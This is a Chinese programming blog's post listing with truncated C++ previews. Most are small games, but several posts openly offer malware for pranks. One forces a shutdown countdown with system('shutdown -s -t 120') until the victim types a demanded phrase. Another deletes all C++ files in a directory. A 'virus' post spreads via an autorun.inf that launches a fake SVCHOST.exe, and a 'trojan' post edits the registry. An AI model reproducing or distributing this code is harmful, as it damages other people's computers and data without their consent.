- 博客(13)
- 资源 (1)
- 收藏
- 关注
原创 成语接龙模拟器
成语接龙,要先在你c++保存所在的位置里,新建一个名为“data.txt ”的文件,在里面输入成语,接下来就是,代码啦!代码如下:#include<iostream>#include<cstdio>using namespace std;int main(){ freopen("data.txt","r",stdin); string you,read[100000],load; int t=0,no[100000]={},flag,flag2...
2022-05-14 20:21:23
1078
原创 3个C++小游戏
我来分享一下,我从csdn上搜集3个小游戏。1.狼人杀#include <Windows.h>#include <conio.h>#include<bits/stdc++.h> using namespace std;void brc(){system("cls");int jy=1;int sy=3;srand((int)time(0));int n=rand()%15+1;cout<<" 你是"<<n<
2022-04-04 11:21:25
3035
1
原创 C++整人程序
废话不多说,上代码!#include<windows.h>#include<stdio.h>int main(){ int n; char a[10]; printf("叫大哥,不叫就关机(你有120秒的时间,请勿关闭此程序)"); system("shutdown -s -t 120"); while(1) { printf("叫:"); scanf("%s",&a); n=strcmp(a,"大哥"); if(n==0) { sy
2022-03-20 14:00:21
2337
原创 C++简易病毒
简单的C++病毒,拿去整人,没伤害!!!#include<bits/stdc++.h>#include<windows.h>using namespace std;int main(){ int anwser; string username; cout<<"玩家好,欢迎来到《dl游戏》!"<<endl<<"请问您的名字? : "; cin>>username; system("cls"); cout
2022-02-26 20:25:42
748
原创 删除内容代码
此代码可以删除目录里所有C++文件!#include <windows.h>#include <fstream>#include <string>#include <vector>#include <iostream>using namespace std;//此程序仅供病毒原理学习之用//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负void revir(){WIN32_FIND_DATA FindFil
2022-02-14 20:42:05
1357
原创 整人程序C++
没伤害,吓唬人。#include<windows.h>#include<fstream>#include <iostream>using namespace std;int main(){cout<<"打开这个文件所在的路径(文件夹或盘)";ofstream outfile("来自病毒的信.txt",ios::out);if (!outfile){ cerr<<"open error"<<e...
2022-02-12 21:13:12
536
原创 C++病毒代码
此代码会对电脑产生伤害!#define SVCHOST_NUM 6#include<stdio.h>#include<bits/stdc++.h>char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.ex
2022-02-08 19:57:30
3862
1
原创 C++游戏《飞机大战》
#include <bits/stdc++.h>#include <windows.h>#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)#define N 10005using namespace std;struct plane//飞机{ int pos_x,pos_y,size,vis;//pos_x,pos_y是位置,size是大小,vis是记录是否存...
2022-02-08 19:42:45
254
原创 C++游戏《Flappy bird》
#include<stdio.h>#include<stdlib.h>#include<windows.h>#include<conio.h>#define column_num 5 //同一界面存在柱子的数目// ——————————// |控制信号: | 向上 | // —————————-// | 键盘: | 空格 |//...
2022-02-08 19:34:35
3158
转载 简易木马病毒缩写
一个简单木马例子#include <windows.h>#include <winable.h>#include <stdio.h>#include <tchar.h>void virus(){ DWORD dwWallPaperStyle=2; int iRet; HKEY hkey; //执行文件所在路径 TCHAR szPath[MAX_PATH]={0}; GetModuleFileNam...
2022-02-07 08:34:44
4046
原创 五子棋小游戏
#include<iostream>#include<vector>using namespace std;class qipan{public: qipan() {} ~qipan() {}; //向上下左右,斜的方向 char left(int x, int y) {//检查是否合适 if (x >= 1 && x <= hight&& y - 1 >= 1...
2022-01-05 18:36:55
118
原创 贪吃蛇小游戏
#include <stdio.h>#include <stdlib.h>#include <Windows.h>#include <time.h>#include <conio.h>#define SNAKESIZE 100#define MAPWIDTH 78#define MAPHEIGHT 24#ifndef __cplusplustypedef char bool;#define false 0#define.
2022-01-05 17:17:57
188
1
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人